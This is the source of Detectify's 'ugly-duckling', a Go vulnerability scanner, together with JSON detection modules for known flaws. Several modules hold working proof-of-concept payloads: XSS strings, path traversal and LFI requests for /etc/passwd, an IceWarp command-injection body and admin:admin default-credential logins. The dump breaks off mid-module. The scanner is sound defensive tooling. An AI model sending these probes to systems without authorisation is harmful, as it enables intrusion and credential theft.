├── .gitignore ├── LICENSE ├── README.mkd ├── go.mod ├── http.go ├── main.go ├── module.go ├── modules ├── apache-ambari-default-credentials.json ├── crowdsourced │ ├── CVE-2017-9140.json │ ├── CVE-2019-3402.json │ ├── CVE-2021-28169.json │ ├── CVE-2021-32820.json │ ├── activeadmin-panel-disclosure.json │ ├── aem-invalidate-cache.json │ ├── apache-airflow-debug-trace.json │ ├── apache-superset-default-credentials.json │ ├── appsec-yml-disclosure.json │ ├── clockwork-dashboard-exposure.json │ ├── dockerfile-hidden-disclosure.json │ ├── esmtprc-dotfile-disclosure.json │ ├── filezilla-disclosure.json │ ├── git-credentials-disclosure.json │ ├── github-workflows-disclosure.json │ ├── gitlab-snippets-exposed.json │ ├── hp-ilo-serial-key-disclosure.json │ ├── icewarp-mail-rce.json │ ├── ilo-serial-key-disclosure.json │ ├── kubernetes-kustomization-disclosure.json │ ├── laravel-telescope-exposure.json │ ├── nginx-merge-slashes-path-traversal.json │ ├── oracle-ebs-lfi.json │ ├── php-user-ini-disclosure.json │ ├── phpmyadmin-info-schema-disclosure.json │ ├── putty-private-key-disclosure.json │ ├── pyproject-disclosure.json │ ├── roundcube-log-disclosure.json │ ├── ruby-on-rails-secret-token-disclosure.json │ ├── showdoc-default-password.json │ ├── snyk-ignore-file-disclosure.json │ ├── spring-boot-loggers-disclosure.json │ ├── ssh-authorized-keys-disclosure.json │ ├── symfony-fragment-exposure.json │ └── thumbs-db-disclosure.json ├── exposed-docker-socket.json ├── exposed-jquery-file-upload.json ├── exposed-nginx-status.json ├── http-response-splitting.json ├── minimal.json ├── multipath.json ├── open-redirect-1.json ├── package-json.json ├── reflected-xss.json ├── spring-boot-env-route.json ├── test.json ├── test2.json └── test3.json └── semaphore.go /.gitignore: -------------------------------------------------------------------------------- 1 | *.sw* 2 | ugly-duckling 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright 2021 Detectify 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 10 | -------------------------------------------------------------------------------- /README.mkd: -------------------------------------------------------------------------------- 1 | # ugly-duckling 2 | 3 | ## What It Is 4 | 5 | ugly-duckling is a very basic (and currently alpha-quality) vulnerability scanner built by the reasearch team at Detectify. 6 | It exists so that members of [Detectify Crowdsource](https://detectify.com/crowdsource/ethical-hacking-with-crowdsource) 7 | can submit proof-of-concept modules in a way that we can test and implement efficiently. 8 | 9 | ugly-duckling is not in use internally at Detectify and was built specifically for this purpose. 10 | 11 | 12 | ## Why? 13 | 14 | Although we have shared one of our internal module formats with our Crowdsource members in the past, it is a complex format 15 | with many features that only make sense in an internal Detectify context. We wanted people to be able to develop, test, and run 16 | modules in a simple and easy to document format. 17 | 18 | We also considered using a pre-existing scanner for this purpose - there are many great scanners our there to choose from after all - 19 | but not having control over the module format and available features might make it harder to maintain a tool that translates things 20 | to our internal formats. 21 | 22 | 23 | ## Contributions 24 | 25 | We welcome pull requests that implement bug fixes and minor improvements - we tried to implement only the bare minimum amount of 26 | functionality so we probably missed things! 27 | 28 | If you have novel modules you would like to submit we recommend you join [Detectify Crowdsource](https://detectify.com/crowdsource/ethical-hacking-with-crowdsource) 29 | to submit them so that you can be rewarded for any hits they may produce. 30 | 31 | 32 | ## Building 33 | 34 | ugly-duckling is written in Go and has no external dependencies. 35 | 36 | You can install it with `go get`: 37 | 38 | ``` 39 | ▶ go get github.com/detectify/ugly-duckling 40 | ``` 41 | 42 | Or clone the repository and build it manually: 43 | 44 | ``` 45 | ▶ git clone https://github.com/detectify/ugly-duckling.git 46 | ▶ cd ugly-duckling 47 | ▶ go install 48 | ``` 49 | 50 | ## Usage 51 | 52 | ugly-duckling reads URLs on `stdin`, and takes a list of modules as its arguments (defaulting to `./modules/*.json` if none are provided). 53 | 54 | A standard invocation to run a single module against a single URL might look like this: 55 | 56 | ``` 57 | ▶ echo https://example.com/ | ugly-duckling modules/test3.json 58 | ``` 59 | 60 | Or to run against multiple URLs contained in `urls.txt`: 61 | 62 | ``` 63 | ▶ cat urls.txt | ugly-duckling modules/test.json 64 | ``` 65 | 66 | ### Options 67 | 68 | * `-c / --concurrency ` - set the concurrency for HTTP requests (defaults to 1) 69 | * `-v / --verbose` - display debug type output (e.g. which modules have been loaded) 70 | 71 | 72 | ## Module Format 73 | 74 | Here is an example module that demonstrates all functionality in ugly-duckling: 75 | 76 | ```json 77 | { 78 | "request": { 79 | "method": "POST", 80 | "path": "/anything", 81 | "body": "{\"magicWord\": \"please!\"}", 82 | "headers": [ 83 | "Content-Type: application/json", 84 | "Accept: application/json" 85 | ] 86 | }, 87 | "response": { 88 | "matchesRequired": 2, 89 | "matches": [ 90 | {"type": "static", "pattern": "please!", "required": true}, 91 | {"type": "regex", "pattern": "magic\\w"}, 92 | {"type": "status", "code": 200}, 93 | {"type": "header", "name": "Content-Type", "pattern": "application/.*"} 94 | ], 95 | "mustNotMatch": [ 96 | {"type": "regex", "pattern": "(server error|not found)"} 97 | ] 98 | } 99 | } 100 | ``` 101 | 102 | The `request` and `response` sections are both required. The minimum possible module has a `path` in the 103 | `request` section, and at least one thing in the `matches` list in the `response` section: 104 | 105 | ```json 106 | { 107 | "request": { 108 | "path": "/anything" 109 | }, 110 | "response": { 111 | "matches": [ 112 | {"type": "static", "pattern": "data"} 113 | ] 114 | } 115 | } 116 | ``` 117 | 118 | ### Request Section 119 | 120 | The request section contains details about the HTTP request to be sent. 121 | 122 | * `method` - HTTP method to use; `GET`, `POST`, `HEAD` etc 123 | * `path` - Path and query string to append to the input URL 124 | * `body` - Data to be sent as the request body 125 | * `headers` - An array of headers to send with the request 126 | 127 | ### Response Section 128 | 129 | The response section contains details about how to check the response for a hit. 130 | 131 | * `matchesRequired` - How many matches must be made for a module to be considered a 'hit' 132 | * `matches` - An array of objects describing the matches to be performed 133 | * `mustNotMatch` - An array of objects describing things which must not be matched 134 | 135 | #### Matches 136 | 137 | Match objects can have one of a few different types: 138 | 139 | * `static` - an exact text match is performed using the `pattern` parameter 140 | * `regex` - a regular expression match is performed using the `pattern` parameter; the regex engine is the [default Go engine](https://golang.org/pkg/regexp/). 141 | * `status` - the status code of the response is compared to the integer in the `code` parameter 142 | * `header` - a regular expression match is performed against the header specied in the `name` parameter using the pattern specified in the `pattern` parameter 143 | 144 | Any match object in the `matches` array can have a `required` parameter set to `true` so that a match *must* be met for a module to be considered a hit. 145 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/detectify/ugly-duckling 2 | 3 | go 1.15 4 | -------------------------------------------------------------------------------- /http.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "net" 6 | "net/http" 7 | "net/url" 8 | "time" 9 | ) 10 | 11 | func newClient(keepAlives bool, proxy string) *http.Client { 12 | 13 | tr := &http.Transport{ 14 | MaxIdleConns: 30, 15 | IdleConnTimeout: time.Second, 16 | DisableKeepAlives: !keepAlives, 17 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 18 | DialContext: (&net.Dialer{ 19 | Timeout: time.Second * 10, 20 | KeepAlive: time.Second, 21 | }).DialContext, 22 | } 23 | 24 | if proxy != "" { 25 | if p, err := url.Parse(proxy); err == nil { 26 | tr.Proxy = http.ProxyURL(p) 27 | } 28 | } 29 | 30 | re := func(req *http.Request, via []*http.Request) error { 31 | return http.ErrUseLastResponse 32 | } 33 | 34 | return &http.Client{ 35 | Transport: tr, 36 | CheckRedirect: re, 37 | Timeout: time.Second * 10, 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "flag" 6 | "fmt" 7 | "log" 8 | "os" 9 | "path/filepath" 10 | "strings" 11 | ) 12 | 13 | func init() { 14 | flag.Usage = func() { 15 | h := []string{ 16 | "Run vulnerability detection modules against URLs provided on stdin", 17 | "", 18 | "Usage:", 19 | " ugly-duckling [options] []", 20 | "", 21 | "Options:", 22 | " -c, --concurrency Concurrency level (default 1)", 23 | " -v, --verbose Print debug messages etc", 24 | "", 25 | } 26 | 27 | fmt.Fprint(os.Stderr, strings.Join(h, "\n")) 28 | } 29 | } 30 | 31 | func main() { 32 | 33 | var verbose bool 34 | flag.BoolVar(&verbose, "v", false, "verbose mode") 35 | flag.BoolVar(&verbose, "verbose", false, "verbose mode") 36 | 37 | var concurrency int 38 | flag.IntVar(&concurrency, "c", 1, "concurrency") 39 | flag.IntVar(&concurrency, "concurrency", 1, "concurrency") 40 | 41 | flag.Parse() 42 | 43 | // verbose-mode logging function 44 | logf := func(msg string, params ...interface{}) { 45 | if !verbose { 46 | return 47 | } 48 | fmt.Printf(msg+"\n", params...) 49 | } 50 | 51 | // find all module files 52 | var moduleFiles []string 53 | var err error 54 | if flag.NArg() == 0 { 55 | moduleFiles, err = filepath.Glob("modules/*.json") 56 | if err != nil { 57 | log.Fatal(err) 58 | } 59 | } else { 60 | moduleFiles = flag.Args() 61 | } 62 | 63 | // create module structs for every file 64 | modules := make([]*module, 0) 65 | for _, f := range moduleFiles { 66 | m, err := newModule(f) 67 | if err != nil { 68 | log.Println(err) 69 | continue 70 | } 71 | 72 | logf("loaded module %s", m.File) 73 | modules = append(modules, m) 74 | } 75 | 76 | // a semaphore is a thing we use to control access to some resource, 77 | // in this case we're going to use it to limit concurrency 78 | sem := newSemaphore(concurrency) 79 | 80 | // read lines of stdin to get base URLs 81 | sc := bufio.NewScanner(os.Stdin) 82 | 83 | // http client 84 | client := newClient(false, "") 85 | 86 | for sc.Scan() { 87 | baseURL := strings.TrimSpace(sc.Text()) 88 | if baseURL == "" { 89 | continue 90 | } 91 | 92 | for _, m := range modules { 93 | logf("running %s against %s", m.File, baseURL) 94 | 95 | sem.acquire() 96 | go func(m *module) { 97 | defer sem.release() 98 | 99 | findings, err := m.run(baseURL, client) 100 | if err != nil { 101 | logf("request error: %s", err) 102 | return 103 | } 104 | 105 | for _, finding := range findings { 106 | if !finding.Hit { 107 | continue 108 | } 109 | 110 | fmt.Printf("finding: %s\n", finding.Msg) 111 | } 112 | }(m) 113 | 114 | } 115 | 116 | // TODO: print or store responses when enabled by some flag or other 117 | // fmt.Printf("%#v\n", resp) 118 | // fmt.Printf("%s\n\n", body) 119 | // fmt.Printf("%#v\n", count) 120 | 121 | } 122 | 123 | sem.wait() 124 | } 125 | -------------------------------------------------------------------------------- /module.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "errors" 7 | "fmt" 8 | "io/ioutil" 9 | "net/http" 10 | "os" 11 | "regexp" 12 | "strings" 13 | ) 14 | 15 | type module struct { 16 | File string 17 | Name string `json:"name"` 18 | Request moduleRequest `json:"request"` 19 | Response moduleResponse `json:"response"` 20 | } 21 | 22 | type moduleRequest struct { 23 | Method string `json:"method"` 24 | Path string `json:"path"` 25 | Paths []string `json:"paths"` 26 | Body string `json:"body"` 27 | Headers []string `json:"headers"` 28 | } 29 | 30 | type moduleResponse struct { 31 | Matches []moduleMatch `json:"matches"` 32 | MustNotMatch []moduleMatch `json:"mustNotMatch"` 33 | MatchesRequired int `json:"matchesRequired"` 34 | } 35 | 36 | type moduleMatch struct { 37 | Type string `json:"type"` 38 | Pattern string `json:"pattern"` 39 | Required bool `json:"required"` 40 | Code int `json:"code"` 41 | Name string `json:"name"` 42 | } 43 | 44 | type finding struct { 45 | Hit bool 46 | Msg string 47 | } 48 | 49 | func newModule(filename string) (*module, error) { 50 | f, err := os.Open(filename) 51 | if err != nil { 52 | return nil, err 53 | } 54 | 55 | m := &module{} 56 | d := json.NewDecoder(f) 57 | err = d.Decode(m) 58 | if err != nil { 59 | return nil, err 60 | } 61 | 62 | m.File = filename 63 | if m.Name == "" { 64 | m.Name = m.File 65 | } 66 | 67 | if m.Request.Path == "" && len(m.Request.Paths) == 0 { 68 | return nil, errors.New("module must specify request.path, or request.paths") 69 | } 70 | 71 | if len(m.Response.Matches) == 0 { 72 | return nil, errors.New("module must have at least one match") 73 | } 74 | 75 | // default to one match required 76 | if m.Response.MatchesRequired == 0 { 77 | m.Response.MatchesRequired = 1 78 | } 79 | 80 | return m, nil 81 | } 82 | 83 | func (m *module) newRequest(baseURL, path string) (*http.Request, error) { 84 | req, err := http.NewRequest( 85 | m.Request.Method, 86 | baseURL+path, 87 | bytes.NewBuffer([]byte(m.Request.Body)), 88 | ) 89 | if err != nil { 90 | return nil, err 91 | } 92 | 93 | for _, h := range m.Request.Headers { 94 | parts := strings.SplitN(h, ":", 2) 95 | if len(parts) != 2 { 96 | continue 97 | } 98 | 99 | // There's a small chance that we actually want to preserve 100 | // the space on the header key or value, but we'll deal with 101 | // that issue if it ever comes up. 102 | k := strings.TrimSpace(parts[0]) 103 | v := strings.TrimSpace(parts[1]) 104 | req.Header.Set(k, v) 105 | } 106 | 107 | return req, nil 108 | } 109 | 110 | func (m *module) run(baseURL string, client *http.Client) ([]*finding, error) { 111 | 112 | out := make([]*finding, 0) 113 | 114 | // Default to using the paths list, fall back to single path 115 | paths := m.Request.Paths 116 | if len(paths) == 0 { 117 | paths = []string{m.Request.Path} 118 | } 119 | 120 | for _, path := range paths { 121 | req, err := m.newRequest(baseURL, path) 122 | if err != nil { 123 | return nil, err 124 | } 125 | 126 | resp, err := client.Do(req) 127 | if err != nil { 128 | return nil, err 129 | } 130 | 131 | body, err := ioutil.ReadAll(resp.Body) 132 | if err != nil { 133 | return nil, err 134 | } 135 | 136 | resp.Body.Close() 137 | 138 | // TODO: a way to save responses; defaulting to responses that matched, 139 | // but with an option to save all responses for debugging etc 140 | 141 | f, err := m.checkMatches(resp, string(body), baseURL) 142 | if err != nil { 143 | // stop on any error - might come back to bite us, but 144 | // seems like the sensible way to handle things for now 145 | return out, err 146 | } 147 | 148 | // add to the list of findings 149 | out = append(out, f) 150 | } 151 | return out, nil 152 | } 153 | 154 | func (m *module) checkMatches(resp *http.Response, body, baseURL string) (*finding, error) { 155 | // Track the number of matches we get 156 | count := 0 157 | 158 | // There's a few situations (e.g. required matches) where we might 159 | // need to enforce that there's no hit regardless of anything else 160 | mustNotHit := false 161 | 162 | // The thing that does the actual checking. 163 | // we're going to use this a couple of times for positive and negative 164 | // matches so it's worth pulling it out into a function 165 | test := func(match moduleMatch, body string) (bool, error) { 166 | switch match.Type { 167 | case "static": 168 | return strings.Contains(body, match.Pattern), nil 169 | 170 | case "regex": 171 | re := regexp.MustCompile(match.Pattern) 172 | return re.MatchString(body), nil 173 | 174 | case "status": 175 | // TODO: support mutliple status codes 176 | return resp.StatusCode == match.Code, nil 177 | 178 | case "header": 179 | // TODO: deal with multiple response headers 180 | val := resp.Header.Get(match.Name) 181 | re := regexp.MustCompile(match.Pattern) 182 | return re.MatchString(val), nil 183 | 184 | default: 185 | return false, fmt.Errorf("unknown match type '%s'", match.Type) 186 | } 187 | } 188 | 189 | // Positive matches 190 | for _, match := range m.Response.Matches { 191 | matched, err := test(match, body) 192 | if err != nil { 193 | return nil, err 194 | } 195 | 196 | if !matched && match.Required { 197 | mustNotHit = true 198 | } 199 | 200 | if matched { 201 | count++ 202 | } 203 | } 204 | 205 | // Negative matches 206 | for _, match := range m.Response.MustNotMatch { 207 | matched, err := test(match, body) 208 | if err != nil { 209 | return nil, err 210 | } 211 | 212 | if matched { 213 | mustNotHit = true 214 | } 215 | } 216 | 217 | // default to counting the number of matches, but then override 218 | // the result if we saw any reason that we must not hit 219 | hit := count >= m.Response.MatchesRequired 220 | if mustNotHit { 221 | hit = false 222 | } 223 | 224 | f := &finding{ 225 | Hit: hit, 226 | Msg: fmt.Sprintf("%s at %s (%d matches)", m.Name, resp.Request.URL.String(), count), 227 | } 228 | 229 | return f, nil 230 | } 231 | -------------------------------------------------------------------------------- /modules/apache-ambari-default-credentials.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "/api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name", 4 | "headers": [ 5 | "Authorization: Basic YWRtaW46YWRtaW4=" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 5, 10 | "matches": [ 11 | {"type": "status", "code": 200, "required": true}, 12 | {"type": "static", "pattern": "active"}, 13 | {"type": "static", "pattern": "admin"}, 14 | {"type": "static", "pattern": "groups"}, 15 | {"type": "static", "pattern": "ldap_user"}, 16 | {"type": "static", "pattern": "user_name"}, 17 | {"type": "static", "pattern": "user_type"} 18 | ] 19 | } 20 | } -------------------------------------------------------------------------------- /modules/crowdsourced/CVE-2017-9140.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000\"onload=\"prompt(1)" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 3, 9 | "matches": [ 10 | { 11 | "type": "status", 12 | "code": 200 13 | }, 14 | { 15 | "type": "static", 16 | "pattern": "var ParametersPage = new ParametersPage" 17 | }, 18 | { 19 | "type": "static", 20 | "pattern": "#000000\"onload=\"prompt(1);" 21 | } 22 | ] 23 | } 24 | } -------------------------------------------------------------------------------- /modules/crowdsourced/CVE-2019-3402.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "https://twitter.com/DhiyaneshDK", 3 | "request": { 4 | "paths": [ 5 | "/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 3, 10 | "matches": [ 11 | { 12 | "type": "header", 13 | "name": "Content-Type", 14 | "pattern": "(?i)text/html" 15 | }, 16 | { 17 | "type": "status", 18 | "code": 200, 19 | "required": true 20 | }, 21 | { 22 | "type": "static", 23 | "pattern": "" 24 | } 25 | ] 26 | } 27 | } -------------------------------------------------------------------------------- /modules/crowdsourced/CVE-2021-28169.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/concat?/%2557EB-INF/web.xml" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 2, 9 | "matches": [ 10 | { 11 | "type": "header", 12 | "name": "Content-Type", 13 | "pattern": "(?i)(text/xml|application/xml)" 14 | }, 15 | { 16 | "type": "static", 17 | "pattern": "Powered by Active Admin" 20 | } 21 | ] 22 | } 23 | } -------------------------------------------------------------------------------- /modules/crowdsourced/aem-invalidate-cache.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/dispatcher/invalidate.cache" 5 | ], 6 | "headers": [ 7 | "CQ-Handle: /content", 8 | "CQ-Path: /content" 9 | ] 10 | }, 11 | "response": { 12 | "matchesRequired": 2, 13 | "matches": [ 14 | { 15 | "type": "status", 16 | "code": 200 17 | }, 18 | { 19 | "type": "regex", 20 | "pattern": "^

OK

$" 21 | } 22 | ] 23 | } 24 | } -------------------------------------------------------------------------------- /modules/crowdsourced/apache-airflow-debug-trace.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "https://twitter.com/DhiyaneshDK", 3 | "request": { 4 | "paths": [ 5 | "/admin/airflow/login" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 3, 10 | "matches": [ 11 | { 12 | "type": "status", 13 | "code": 500 14 | }, 15 | { 16 | "type": "static", 17 | "pattern": "

Ooops.

" 18 | }, 19 | { 20 | "type": "static", 21 | "pattern": "Traceback (most recent call last)" 22 | } 23 | ] 24 | } 25 | } -------------------------------------------------------------------------------- /modules/crowdsourced/apache-superset-default-credentials.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "method": "POST", 4 | "path": "/login/", 5 | "body": "username=admin&password=admin", 6 | "headers": [ 7 | "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" 8 | ] 9 | }, 10 | "response": { 11 | "matchesRequired": 2, 12 | "matches": [ 13 | { 14 | "type": "static", 15 | "pattern": "Redirecting..." 16 | }, 17 | { 18 | "type": "static", 19 | "pattern": "
/" 20 | } 21 | ] 22 | } 23 | } -------------------------------------------------------------------------------- /modules/crowdsourced/appsec-yml-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt", 3 | "request": { 4 | "paths": [ 5 | "/appspec.yml", 6 | "/appspec.yaml" 7 | ] 8 | }, 9 | "response": { 10 | "matchesRequired": 5, 11 | "matches": [ 12 | { 13 | "type": "status", 14 | "code": 200, 15 | "required": true 16 | }, 17 | { 18 | "type": "header", 19 | "name": "Content-Type", 20 | "pattern": "(?i)application/yaml", 21 | "required": true 22 | }, 23 | { 24 | "type": "static", 25 | "pattern": "\"version\"" 26 | }, 27 | { 28 | "type": "static", 29 | "pattern": "\"os\"" 30 | }, 31 | { 32 | "type": "static", 33 | "pattern": "\"files\"" 34 | }, 35 | { 36 | "type": "static", 37 | "pattern": "\"permissions\"" 38 | }, 39 | { 40 | "type": "static", 41 | "pattern": "\"hooks\"" 42 | }, 43 | { 44 | "type": "static", 45 | "pattern": "\"BeforeInstall\"" 46 | }, 47 | { 48 | "type": "static", 49 | "pattern": "\"ApplicationStart\"" 50 | } 51 | ] 52 | } 53 | } -------------------------------------------------------------------------------- /modules/crowdsourced/clockwork-dashboard-exposure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/__clockwork/latest" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 6, 9 | "matches": [ 10 | { 11 | "type": "header", 12 | "name": "Content-Type", 13 | "pattern": "(?i)application/json", 14 | "required": true 15 | }, 16 | { 17 | "type": "static", 18 | "pattern": "\"id\"" 19 | }, 20 | { 21 | "type": "static", 22 | "pattern": "\"version\"" 23 | }, 24 | { 25 | "type": "static", 26 | "pattern": "\"method\"" 27 | }, 28 | { 29 | "type": "static", 30 | "pattern": "\"url\"" 31 | }, 32 | { 33 | "type": "static", 34 | "pattern": "\"time\"" 35 | } 36 | ] 37 | } 38 | } -------------------------------------------------------------------------------- /modules/crowdsourced/dockerfile-hidden-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt", 3 | "request": { 4 | "paths": [ 5 | "/.dockerfile", 6 | "/.Dockerfile" 7 | ] 8 | }, 9 | "response": { 10 | "matchesRequired": 2, 11 | "matches": [ 12 | { 13 | "type": "status", 14 | "code": 200, 15 | "required": true 16 | }, 17 | { 18 | "type": "regex", 19 | "pattern": "^(?:FROM(?:CACHE)?|RUN|ADD|WORKDIR|ENV|EXPOSE|\\#)\\s+[ -~]+" 20 | } 21 | ] 22 | } 23 | } -------------------------------------------------------------------------------- /modules/crowdsourced/esmtprc-dotfile-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "https://twitter.com/DhiyaneshDK", 3 | "name": "esmtprc dotfile", 4 | "request": { 5 | "path": "/.esmtprc" 6 | }, 7 | "response": { 8 | "matchesRequired": 4, 9 | "matches": [ 10 | { 11 | "type": "static", 12 | "pattern": "hostname" 13 | }, 14 | { 15 | "type": "static", 16 | "pattern": "username" 17 | }, 18 | { 19 | "type": "static", 20 | "pattern": "password" 21 | }, 22 | { 23 | "type": "status", 24 | "code": 200 25 | } 26 | ] 27 | } 28 | } -------------------------------------------------------------------------------- /modules/crowdsourced/filezilla-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/FileZilla.xml" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 3, 9 | "matches": [ 10 | { 11 | "type": "header", 12 | "name": "Content-Type", 13 | "pattern": "(?i)(text/xml|application/xml)" 14 | }, 15 | { 16 | "type": "static", 17 | "pattern": "" 18 | }, 19 | { 20 | "type": "static", 21 | "pattern": "Snippets · Explore · GitLab" 19 | } 20 | ] 21 | } 22 | } -------------------------------------------------------------------------------- /modules/crowdsourced/hp-ilo-serial-key-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "reference": "https://github.com/nmap/nmap/issues/1016", 3 | "request": { 4 | "paths": [ 5 | "/xmldata?item=CpqKey" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 4, 10 | "matches": [ 11 | { 12 | "type": "header", 13 | "name": "Content-Type", 14 | "pattern": "(?i)text/html", 15 | "required": true 16 | }, 17 | { 18 | "type": "static", 19 | "pattern": "LTYPE" 20 | }, 21 | { 22 | "type": "static", 23 | "pattern": "LNAME" 24 | }, 25 | { 26 | "type": "static", 27 | "pattern": "KEY" 28 | } 29 | ] 30 | } 31 | } -------------------------------------------------------------------------------- /modules/crowdsourced/icewarp-mail-rce.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "method": "POST", 4 | "path": "/webmail/basic/", 5 | "body": "_dlg[captcha][target]=system(\\'ver\\')\\", 6 | "headers": [ 7 | "Content-Type: application/x-www-form-urlencoded" 8 | ] 9 | }, 10 | "response": { 11 | "matchesRequired": 2, 12 | "matches": [ 13 | { 14 | "type": "static", 15 | "pattern": "Microsoft Windows [" 16 | }, 17 | { 18 | "type": "status", 19 | "code": 302 20 | }, 21 | { 22 | "type": "status", 23 | "code": 200 24 | } 25 | ] 26 | } 27 | } -------------------------------------------------------------------------------- /modules/crowdsourced/ilo-serial-key-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "method": "GET", 4 | "path": "/xmldata?item=CpqKey", 5 | "headers": [ 6 | "Accept: text/xml" 7 | ] 8 | }, 9 | "response": { 10 | "matches": [ 11 | { 12 | "type": "static", 13 | "pattern": "LTYPE", 14 | "required": true 15 | }, 16 | { 17 | "type": "static", 18 | "pattern": "LNAME", 19 | "required": true 20 | }, 21 | { 22 | "type": "static", 23 | "pattern": "KEY", 24 | "required": true 25 | }, 26 | { 27 | "type": "header", 28 | "name": "Content-Type", 29 | "pattern": "^text/xml" 30 | }, 31 | { 32 | "type": "status", 33 | "code": 200 34 | } 35 | ] 36 | } 37 | } -------------------------------------------------------------------------------- /modules/crowdsourced/kubernetes-kustomization-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt", 3 | "request": { 4 | "paths": [ 5 | "/kustomization.yml" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 4, 10 | "matches": [ 11 | { 12 | "type": "status", 13 | "code": 200, 14 | "required": true 15 | }, 16 | { 17 | "type": "header", 18 | "name": "Content-Type", 19 | "pattern": "(?i)application/yaml", 20 | "required": true 21 | }, 22 | { 23 | "type": "regex", 24 | "pattern": "(?m)^\\s*apiVersion\\s*:\\s*kustomize\\.config" 25 | }, 26 | { 27 | "type": "regex", 28 | "pattern": "(?mi)^\\s*kind\\s*:\\s*Kustomization" 29 | }, 30 | { 31 | "type": "regex", 32 | "pattern": "(?m)^\\scommonLabels\\s*:" 33 | }, 34 | { 35 | "type": "regex", 36 | "pattern": "(?m)^\\sresources\\s*:" 37 | }, 38 | { 39 | "type": "regex", 40 | "pattern": "(?m)^\\snamespace\\s*:" 41 | } 42 | ] 43 | } 44 | } -------------------------------------------------------------------------------- /modules/crowdsourced/laravel-telescope-exposure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt", 3 | "request": { 4 | "paths": [ 5 | "/telescope" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 2, 10 | "matches": [ 11 | { 12 | "type": "header", 13 | "name": "Content-Type", 14 | "pattern": "(?i)text/html", 15 | "required": true 16 | }, 17 | { 18 | "type": "static", 19 | "pattern": "Laravel Telescope" 20 | } 21 | ] 22 | } 23 | } -------------------------------------------------------------------------------- /modules/crowdsourced/nginx-merge-slashes-path-traversal.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "//////../../../etc/passwd", 5 | "static//////../../../../etc/passwd", 6 | "///../app.js" 7 | ] 8 | }, 9 | "response": { 10 | "matchesRequired": 1, 11 | "matches": [ 12 | { 13 | "type": "static", 14 | "pattern": "root:" 15 | }, 16 | { 17 | "type": "static", 18 | "pattern": "app.listen" 19 | } 20 | ] 21 | } 22 | } -------------------------------------------------------------------------------- /modules/crowdsourced/oracle-ebs-lfi.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "method": "GET", 4 | "path": "/OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd" 5 | }, 6 | "response": { 7 | "matchesRequired": 2, 8 | "matches": [ 9 | { 10 | "type": "regex", 11 | "pattern": "root:" 12 | }, 13 | { 14 | "type": "status", 15 | "code": 200 16 | } 17 | ], 18 | 